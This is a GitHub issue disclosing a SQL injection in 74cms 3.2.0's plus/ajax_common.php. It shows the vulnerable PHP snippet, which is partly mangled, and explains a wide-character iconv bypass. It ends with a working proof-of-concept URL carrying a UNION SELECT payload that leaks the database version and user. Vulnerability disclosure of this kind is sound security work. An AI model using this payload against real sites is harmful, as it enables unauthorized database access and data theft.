

New issue

[Jump to bottom](#)

74cms 3.2.0 ajax_common query SQL inject #12

[Open](#) blindkey opened this issue on Feb 18, 2020 · 0 comments

blindkey commented on Feb 18, 2020

Owner

plus/ajax_common.php

```
FOLDERS
74cms_Home_Setup_v3.2.0
├── upload
│   ├── admin
│   ├── agreement
│   ├── company
│   ├── data
│   ├── explain
│   ├── help
│   ├── hrtools
│   ├── html
│   ├── include
│   ├── install
│   ├── jobs
│   ├── link
│   ├── news
│   ├── notice
│   ├── phpmailer
│   └── plus
│       ├── ajax_click.php
│       ├── ajax_common.php
│       ├── ajax_contact.php
│       ├── ajax_member.php
│       ├── ajax_officebuilding.php
│       ├── ajax_recommend.php
│       ├── ajax_simple.php
│       ├── ajax_street.php
│       ├── ajax_user.php
│       ├── ajax_verify_email.php
│       ├── ajax_verify_mobile.php
│       ├── asyn_mail.php
│       ├── asyn_sms.php
│       ├── shortcut.php
│       ├── resume
│       ├── simple
│       ├── temp
│       ├── templates
│       ├── user
│       ├── wap
│       ├── favicon.ico
│       ├── index.php
│       └── robots.txt
└── ...

ajax_common.php
83         }
84     }
85     exit(implode('',$html));
86 }
87 elseif($act=="hotword")
88 {
89     if (empty($_GET['query']))
90     {
91         exit();
92     }
93     $gbk_query=trim($_GET['query']);
94     if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)
95     {
96         $gbk_query=iconv("utf-8",QISHI_DBCHARSET,$gbk_query);
97     }
98     $sql="SELECT * FROM ".table('hotword')." WHERE w_word like '%{
          BY `w_hot` DESC LIMIT 0 , 10";
99     $result = $db->query($sql);
100    while($row = $db->fetch_array($result))
101    {
102        $list[]=$row['w_word']."";
103    }
104    if ($list)
105    {
106        $liststr=implode(',',$list);
107        $str="{
108        $str="query: '{$gbk_query}',";
109        $str="suggestions: [{$liststr}]";
110        $str="}";
111        exit($str);
112    }
113 }
```

\$_GET['query'] pass to \$gbk_query and then \$gbk_query get iconv

so use some special word to do something with iconv ,like wide characters(such as %8c%27) chinese word or some thing . and then get into sql and finally leads to sql inject .

poc:

upload/plus/ajax_common.php?act=hotword&query=aa%8c%27%20union%20select%201,concat(version(),user()),3%23%27

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant

